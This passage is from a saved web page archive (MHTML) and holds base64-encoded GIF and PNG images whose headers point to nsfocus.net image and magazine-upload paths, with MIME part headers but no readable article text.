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 i178IhjDyEIJ0JCGAQEAOw== ------=_NextPart_000_0000_01C387B3.409E7C90 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/js_02.gif R0lGODlhCwANAMQAADpue6O7wThsecXV2MPT1vr7+/z9/UV2gihhbiVfbe/z9C1lct3m6LbJzm+V noamrufu72KLlSpjcP///yBbaQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAA AAAALAAAAAALAA0AAAUr4CSOZGmeKGk0EVUWgUDNJHPM+EhIeD4NiV5OsRDmHkYcBJGcOZozAJQS AgA7 ------=_NextPart_000_0000_01C387B3.409E7C90 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/js_03.gif R0lGODlh/gINALMAACZgbebs7ufu7yJcak59iFOAi6/EyWmQmvX3+KC5vyBbaf///wAAAAAAAAAA AAAAACH5BAAAAAAALAAAAAD+Ag0AAATAcMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv /8CgcEgsGo/IpHLJbDqf0Kh0SlJYr9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/ gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXagOYm5ydnp+goaKjewAECVSpqqusra6vsLE1AAcBsre4 ubq7vL2+KQUCv8PExcbHyMk4BsrNzs/Q0dK3ttPW19jZ2tstCNzf4OHi480RADs= ------=_NextPart_000_0000_01C387B3.409E7C90 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/images/mag_title.gif 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 S1+PxDes9c2vfi/iyeOOMRAAOw== ------=_NextPart_000_0000_01C387B3.409E7C90 Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.nsfocus.net/magazine_upload/39_image001.png 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 